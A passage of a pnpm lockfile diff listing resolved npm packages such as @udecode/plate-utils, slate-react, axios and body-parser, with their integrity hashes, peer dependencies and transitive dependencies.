'@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-utils@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-wmUfkatfRUpKI2AUbZ55IKJDJcvKZ9okW2vP2fbEN6WeKblwjqqgIpc+LFTBUBpD9f2BJxBmcT7ECdDrodwNDg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@17.0.2) + '@udecode/plate-core': 21.5.0(@babel/core@7.23.5)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@17.0.2)(react@17.0.2)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate-utils': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/plate-utils@21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-wmUfkatfRUpKI2AUbZ55IKJDJcvKZ9okW2vP2fbEN6WeKblwjqqgIpc+LFTBUBpD9f2BJxBmcT7ECdDrodwNDg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@radix-ui/react-slot': 1.0.2(@types/react@18.2.7)(react@18.2.0) + '@udecode/plate-core': 21.5.0(@babel/core@7.23.5)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/slate-react': 21.4.1(react-dom@18.2.0)(react@18.2.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + '@udecode/slate-utils': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/resizable@20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-daSwKcHSE6Jq9yIxVJ7t1CmknOu75SgIRetYi2ZUeUkb5p97WnGzUKrNEan9kVCerW6e9FrCUH7Cvpw5X9+nPg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/resizable@20.5.3(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-daSwKcHSE6Jq9yIxVJ7t1CmknOu75SgIRetYi2ZUeUkb5p97WnGzUKrNEan9kVCerW6e9FrCUH7Cvpw5X9+nPg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/plate-common': 21.5.0(@babel/core@7.23.5)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1) + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - scheduler + dev: false + + /@udecode/slate-react@21.4.1(react-dom@17.0.2)(react@17.0.2)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-IXuH3Icafegm4hmlRvOoBIzTN+INcR3tb8s+ZuRsa78ItNvTrlJ6O8yw0Bgqtl0sZ5PfwHwnPjELxwq0aWg8bg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@17.0.2)(react@17.0.2)(slate@0.94.1) + dev: false + + /@udecode/slate-react@21.4.1(react-dom@18.2.0)(react@18.2.0)(slate-history@0.93.0)(slate-react@0.97.2)(slate@0.94.1): + resolution: {integrity: sha512-IXuH3Icafegm4hmlRvOoBIzTN+INcR3tb8s+ZuRsa78ItNvTrlJ6O8yw0Bgqtl0sZ5PfwHwnPjELxwq0aWg8bg==} + peerDependencies: + react: '>=16.8.0' + react-dom: '>=16.8.0' + slate: '>=0.94.0' + slate-history: '>=0.93.0' + slate-react: '>=0.94.0' + dependencies: + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + dev: false + + /@udecode/slate-utils@21.4.1(slate-history@0.93.0)(slate@0.94.1): + resolution: {integrity: sha512-j5fGnKkDe21g9D3uSQjo0zqrCKwj9JNjAzXk+AeWVT1XqGOpXumvugzlqRePtVOs2a5z3TVdc6BnKkF6SZk0gw==} + peerDependencies: + slate: '>=0.94.0' + slate-history: '>=0.93.0' + dependencies: + '@udecode/slate': 21.4.1(slate-history@0.93.0)(slate@0.94.1) + '@udecode/utils': 19.7.1 + lodash: 4.17.21 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + dev: false + + /@udecode/slate@21.4.1(slate-history@0.93.0)(slate@0.94.1): + resolution: {integrity: sha512-r9CScsn3b176O2n2leW0JT5kqeWQsTU4/jbVAys3fokDrdaVdEwKaFSU0HVt7V4oJ4eGyBmISKrpnf2jJHMXRw==} + peerDependencies: + slate: '>=0.94.0' + slate-history: '>=0.93.0' + dependencies: + '@udecode/utils': 19.7.1 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + dev: false + + /@udecode/utils@19.7.1: + resolution: {integrity: sha512-FqPvq/0MOI8qvX3KvQfTKNUkvh8CwHxke9CyoqMck5dxeOmge3vHMkHkCE1BXw2w19EFGkC58Tkw8+RpT8qFSQ==} + dev: false + + /@udecode/zustood@1.1.3(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0)(zustand@3.7.2): + resolution: {integrity: sha512-f3mxHDaOF+q2XvDh/mMvLhCNs0LfCLhIBl8jGmvZT/i3WWq7YujzGXgnbK8mxIkun9irfe6wlPhg9sTIB9Gnug==} + peerDependencies: + zustand: '>=3.5.10' + dependencies: + immer: 9.0.21 + react-tracked: 1.7.11(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0) + zustand: 3.7.2(react@17.0.2) + transitivePeerDependencies: + - react + - react-dom + - react-native + - scheduler + dev: false + + /@udecode/zustood@1.1.3(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(zustand@3.7.2): + resolution: {integrity: sha512-f3mxHDaOF+q2XvDh/mMvLhCNs0LfCLhIBl8jGmvZT/i3WWq7YujzGXgnbK8mxIkun9irfe6wlPhg9sTIB9Gnug==} + peerDependencies: + zustand: '>=3.5.10' + dependencies: + immer: 9.0.21 + react-tracked: 1.7.11(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0) + zustand: 3.7.2(react@18.2.0) + transitivePeerDependencies: + - react + - react-dom + - react-native + - scheduler + dev: false + + /@vitejs/plugin-react@3.1.0(vite@4.5.1): + resolution: {integrity: sha512-AfgcRL8ZBhAlc3BFdigClmTUMISmmzHn7sB2h9U1odvc5U/MjWXsAaz18b/WoppUTDBzxOJwo2VdClfUcItu9g==} + engines: {node: ^14.18.0 || >=16.0.0} + peerDependencies: + vite: ^4.1.0-beta.0 + dependencies: + '@babel/core': 7.23.5 + '@babel/plugin-transform-react-jsx-self': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-react-jsx-source': 7.23.3(@babel/core@7.23.5) + magic-string: 0.27.0 + react-refresh: 0.14.0 + vite: 4.5.1(@types/node@20.10.3) + transitivePeerDependencies: + - supports-color + dev: false + + /@vweevers/length-prefixed-stream@1.0.0: + resolution: {integrity: sha512-0LRYNcKW2t/bWJmiKYhPIUVwz4iMNpC3aPh3UdvfUS8B+68kHpdht7pPcuawb08057rXuyuxZXavcVpoVL01AA==} + engines: {node: '>=12'} + dependencies: + inherits: 2.0.4 + readable-stream: 4.4.2 + varint: 5.0.2 + dev: false + + /@xstate/react@3.0.0(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-KHSCfwtb8gZ7QH2luihvmKYI+0lcdHQOmGNRUxUEs4zVgaJCyd8csCEmwPsudpliLdUmyxX2pzUBojFkINpotw==} + peerDependencies: + '@xstate/fsm': ^2.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + xstate: ^4.31.0 + peerDependenciesMeta: + '@xstate/fsm': + optional: true + xstate: + optional: true + dependencies: + react: 17.0.2 + use-isomorphic-layout-effect: 1.1.2(@types/react@18.2.7)(react@17.0.2) + use-sync-external-store: 1.2.0(react@17.0.2) + transitivePeerDependencies: + - '@types/react' + dev: false + + /abort-controller@3.0.0: + resolution: {integrity: sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==} + engines: {node: '>=6.5'} + dependencies: + event-target-shim: 5.0.1 + dev: false + + /abstract-level@1.0.3: + resolution: {integrity: sha512-t6jv+xHy+VYwc4xqZMn2Pa9DjcdzvzZmQGRjTFc8spIbRGHgBrEKbPq+rYXc7CCo0lxgYvSgKVg9qZAhpVQSjA==} + engines: {node: '>=12'} + dependencies: + buffer: 6.0.3 + catering: 2.1.1 + is-buffer: 2.0.5 + level-supports: 4.0.1 + level-transcoder: 1.0.1 + module-error: 1.0.2 + queue-microtask: 1.2.3 + dev: false + + /abstract-leveldown@7.2.0: + resolution: {integrity: sha512-DnhQwcFEaYsvYDnACLZhMmCWd3rkOeEvglpa4q5i/5Jlm3UIsWaxVzuXvDLFCSCWRO3yy2/+V/G7FusFgejnfQ==} + engines: {node: '>=10'} + dependencies: + buffer: 6.0.3 + catering: 2.1.1 + is-buffer: 2.0.5 + level-concat-iterator: 3.1.0 + level-supports: 2.1.0 + queue-microtask: 1.2.3 + dev: false + + /accepts@1.3.8: + resolution: {integrity: sha512-PYAthTa2m2VKxuvSD3DPC/Gy+U+sOA1LAuT8mkmRuvw+NACSaeXEQ+NHcVF7rONl6qcaxV3Uuemwawk+7+SJLw==} + engines: {node: '>= 0.6'} + dependencies: + mime-types: 2.1.35 + negotiator: 0.6.3 + dev: false + + /acorn-jsx@5.3.2(acorn@8.8.2): + resolution: {integrity: sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==} + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + dependencies: + acorn: 8.8.2 + dev: false + + /acorn@8.8.2: + resolution: {integrity: sha512-xjIYgE8HBrkpd/sJqOGNspf8uHG+NOHGOw6a/Urj8taM2EXfdNAH2oFcPeIFfsv3+kz/mJrS5VuMqbNLjCa2vw==} + engines: {node: '>=0.4.0'} + hasBin: true + dev: false + + /ajv@6.12.6: + resolution: {integrity: sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==} + dependencies: + fast-deep-equal: 3.1.3 + fast-json-stable-stringify: 2.1.0 + json-schema-traverse: 0.4.1 + uri-js: 4.4.1 + dev: false + + /altair-express-middleware@4.0.6: + resolution: {integrity: sha512-LFIkqn0NCbWIHu5mPm5UBIpNAffP0NrBjOIGNbbdCZYJanjARK7M80oQxiMEgL7cxzxE5WaXrpYrXe7gCQtL+w==} + engines: {node: '>= 6.9.1'} + dependencies: + altair-static: 4.6.4 + express: 4.18.2 + transitivePeerDependencies: + - supports-color + dev: false + + /altair-static@4.6.4: + resolution: {integrity: sha512-k+u7cy/UHPJRuB8zkGUpDQZYXL8N0bqwgAPqA4/ijP3YxqSS2QzUYVnnNPa5M+NeuVRV3y5bWcjmFHQkSpo45Q==} + engines: {node: '>= 6.9.1'} + dev: false + + /ansi-regex@5.0.1: + resolution: {integrity: sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==} + engines: {node: '>=8'} + dev: false + + /ansi-styles@3.2.1: + resolution: {integrity: sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==} + engines: {node: '>=4'} + dependencies: + color-convert: 1.9.3 + dev: false + + /ansi-styles@4.3.0: + resolution: {integrity: sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==} + engines: {node: '>=8'} + dependencies: + color-convert: 2.0.1 + dev: false + + /any-promise@1.3.0: + resolution: {integrity: sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==} + dev: false + + /anymatch@3.1.3: + resolution: {integrity: sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==} + engines: {node: '>= 8'} + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.1 + dev: false + + /append-field@1.0.0: + resolution: {integrity: sha512-klpgFSWLW1ZEs8svjfb7g4qWY0YS5imI82dTg+QahUvJ8YqAY0P10Uk8tTyh9ZGuYEZEMaeJYCF5BFuX552hsw==} + dev: false + + /arg@5.0.2: + resolution: {integrity: sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==} + dev: false + + /argparse@1.0.10: + resolution: {integrity: sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==} + dependencies: + sprintf-js: 1.0.3 + dev: false + + /argparse@2.0.1: + resolution: {integrity: sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==} + dev: false + + /aria-hidden@1.2.3: + resolution: {integrity: sha512-xcLxITLe2HYa1cnYnwCjkOO1PqUHQpozB8x9AR0OgWN2woOBi5kSDVxKfd0b7sb1hw5qFeJhXm9H1nu3xSfLeQ==} + engines: {node: '>=10'} + dependencies: + tslib: 2.6.2 + dev: false + + /array-flatten@1.1.1: + resolution: {integrity: sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==} + dev: false + + /array-union@2.1.0: + resolution: {integrity: sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==} + engines: {node: '>=8'} + dev: false + + /asap@2.0.6: + resolution: {integrity: sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==} + dev: false + + /async-lock@1.4.0: + resolution: {integrity: sha512-coglx5yIWuetakm3/1dsX9hxCNox22h7+V80RQOu2XUUMidtArxKoZoOtHUPuR84SycKTXzgGzAUR5hJxujyJQ==} + dev: false + + /at-least-node@1.0.0: + resolution: {integrity: sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==} + engines: {node: '>= 4.0.0'} + dev: false + + /atob@2.1.2: + resolution: {integrity: sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==} + engines: {node: '>= 4.5.0'} + hasBin: true + dev: false + + /attr-accept@2.2.2: + resolution: {integrity: sha512-7prDjvt9HmqiZ0cl5CRjtS84sEyhsHP2coDkaZKRKVfCDo9s7iw7ChVmar78Gu9pC4SoR/28wFu/G5JJhTnqEg==} + engines: {node: '>=4'} + dev: false + + /auto-bind@4.0.0: + resolution: {integrity: sha512-Hdw8qdNiqdJ8LqT0iK0sVzkFbzg6fhnQqqfWhBDxcHZvU75+B+ayzTy8x+k5Ix0Y92XOhOUlx74ps+bA6BeYMQ==} + engines: {node: '>=8'} + dev: false + + /axios@0.21.2: + resolution: {integrity: sha512-87otirqUw3e8CzHTMO+/9kh/FSgXt/eVDvipijwDtEuwbkySWZ9SBm6VEubmJ/kLKEoLQV/POhxXFb66bfekfg==} + dependencies: + follow-redirects: 1.15.3 + transitivePeerDependencies: + - debug + dev: false + + /b4a@1.6.4: + resolution: {integrity: sha512-fpWrvyVHEKyeEvbKZTVOeZF3VSKKWtJxFIxX/jaVPf+cLbGUSitjb49pHLqPV2BUNNZ0LcoeEGfE/YCpyDYHIw==} + dev: false + + /babel-plugin-syntax-trailing-function-commas@7.0.0-beta.0: + resolution: {integrity: sha512-Xj9XuRuz3nTSbaTXWv3itLOcxyF4oPD8douBBmj7U9BBC6nEBYfyOJYQMf/8PJAFotC62UY5dFfIGEPr7WswzQ==} + dev: false + + /babel-preset-fbjs@3.4.0(@babel/core@7.23.5): + resolution: {integrity: sha512-9ywCsCvo1ojrw0b+XYk7aFvTH6D9064t0RIL1rtMf3nsa02Xw41MS7sZw216Im35xj/UY0PDBQsa1brUDDF1Ow==} + peerDependencies: + '@babel/core': ^7.0.0 + dependencies: + '@babel/core': 7.23.5 + '@babel/plugin-proposal-class-properties': 7.18.6(@babel/core@7.23.5) + '@babel/plugin-proposal-object-rest-spread': 7.20.7(@babel/core@7.23.5) + '@babel/plugin-syntax-class-properties': 7.12.13(@babel/core@7.23.5) + '@babel/plugin-syntax-flow': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-syntax-jsx': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-syntax-object-rest-spread': 7.8.3(@babel/core@7.23.5) + '@babel/plugin-transform-arrow-functions': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-block-scoped-functions': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-block-scoping': 7.23.4(@babel/core@7.23.5) + '@babel/plugin-transform-classes': 7.23.5(@babel/core@7.23.5) + '@babel/plugin-transform-computed-properties': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-destructuring': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-flow-strip-types': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-for-of': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-function-name': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-literals': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-member-expression-literals': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-modules-commonjs': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-object-super': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-parameters': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-property-literals': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-react-display-name': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-react-jsx': 7.23.4(@babel/core@7.23.5) + '@babel/plugin-transform-shorthand-properties': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-spread': 7.23.3(@babel/core@7.23.5) + '@babel/plugin-transform-template-literals': 7.23.3(@babel/core@7.23.5) + babel-plugin-syntax-trailing-function-commas: 7.0.0-beta.0 + dev: false + + /bail@1.0.5: + resolution: {integrity: sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==} + dev: false + + /bail@2.0.2: + resolution: {integrity: sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==} + dev: false + + /balanced-match@1.0.2: + resolution: {integrity: sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==} + dev: false + + /base64-js@1.5.1: + resolution: {integrity: sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==} + dev: false + + /better-sqlite3@8.7.0: + resolution: {integrity: sha512-99jZU4le+f3G6aIl6PmmV0cxUIWqKieHxsiF7G34CVFiE+/UabpYqkU0NJIkY/96mQKikHeBjtR27vFfs5JpEw==} + requiresBuild: true + dependencies: + bindings: 1.5.0 + prebuild-install: 7.1.1 + dev: false + + /binary-extensions@2.2.0: + resolution: {integrity: sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA==} + engines: {node: '>=8'} + dev: false + + /bindings@1.5.0: + resolution: {integrity: sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==} + dependencies: + file-uri-to-path: 1.0.0 + dev: false + + /bl@4.1.0: + resolution: {integrity: sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==} + dependencies: + buffer: 5.7.1 + inherits: 2.0.4 + readable-stream: 3.6.2 + dev: false + + /body-parser@1.20.1: + resolution: {integrity: sha512-jWi7abTbYwajOytWCQc37VulmWiRae5RyTpaCyDcS5/lMdtwSz5lOpDE67srw/HYe35f1z3fDQw+3txg7gNtWw==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + dependencies: + bytes: 3.1.2 + content-type: 1.0.5 + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + http-errors: 2.0.0 + iconv-lite: 0.4.24 + on-finished: 2.4.1 + qs: 6.11.0 + raw-body: 2.5.1 + type-is: 1.6.18 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + dev: false + + /body-parser@1.20.2: + resolution: {integrity: sha512-ml9pReCu3M61kGlqoTm2umSXTlRTuGTx0bfYj+uIUKKYycG5NtSbeetV3faSU6R7ajOPw0g/J1PvK4qNy7s5bA==} + engines: {node: '>= 0.8', npm: 1.2.8000 || >= 1.4.16} + dependencies: + bytes: 3.1.2 + content-type: 1.0.5 + debug: 2.6.9 + depd: 2.0.0 + destroy: 1.2.0 + http-errors: 2.0.0 + iconv-lite: 0.4.24 + on-finished: 2.4.1 + qs: 6.11.0 + raw-body: 2.5.2 + type-is: 1.6.18 + unpipe: 1.0.0 + transitivePeerDependencies: + - supports-color + dev: false + + /brace-expansion@1.1.11: + resolution: {integrity: sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==} + dependencies: + balanced-match: 1.0.2 + concat-map: 0.0.1 + dev: false + + /brace-expansion@2.0.1: + resolution: {integrity: sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==} + dependencies: + balanced-match: 1.0.2 + dev: false + + /braces@3.0.2: + resolution: {integrity: sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==} + engines: {node: '>=8'} + dependencies: + fill-range: 7.0.1 + dev: false + + /browser-level@1.0.1: + resolution: {integrity: sha512-XECYKJ+Dbzw0lbydyQuJzwNXtOpbMSq737qxJN11sIRTErOMShvDpbzTlgju7orJKvx4epULolZAuJGLzCmWRQ==} + dependencies: + abstract-level: 1.0.3 + catering: 2.1.1 + module-error: 1.0.2 + run-parallel-limit: 1.1.0 + dev: false + + /browserslist@4.22.2: + resolution: {integrity: sha512-0UgcrvQmBDvZHFGdYUehrCNIazki7/lUP3kkoi/r3YB2amZbFM9J43ZRkJTXBUZK4gmx56+Sqk9+Vs9mwZx9+A==} + engines: {node: ^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7} + hasBin: true + dependencies: + caniuse-lite: 1.0.30001566 + electron-to-chromium: 1.4.605 + node-releases: 2.0.14 + update-browserslist-db: 1.0.13(browserslist@4.22.2) + dev: false + + /bser@2.1.1: + resolution: {integrity: sha512-gQxTNE/GAfIIrmHLUE3oJyp5FO6HRBfhjnw4/wMmA63ZGDJnWBmgY/lyQBpnDUkGmAhbSe39tx2d/iTOAfglwQ==} + dependencies: + node-int64: 0.4.0 + dev: false + + /buffer-from@1.1.2: + resolution: {integrity: sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==} + dev: false + + /buffer@5.7.1: + resolution: {integrity: sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==} + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + dev: false + + /buffer@6.0.3: + resolution: {integrity: sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==} + dependencies: + base64-js: 1.5.1 + ieee754: 1.2.1 + dev: false + + /busboy@1.6.0: + resolution: {integrity: sha512-8SFQbg/0hQ9xy3UNTB0YEnsNBbWfhf7RtnzpL7TkBiTBRfrQ9Fxcnz7VJsleJpyp6rVLvXiuORqjlHi5q+PYuA==} + engines: {node: '>=10.16.0'} + dependencies: + streamsearch: 1.1.0 + dev: false + + /bytes@3.1.2: + resolution: {integrity: 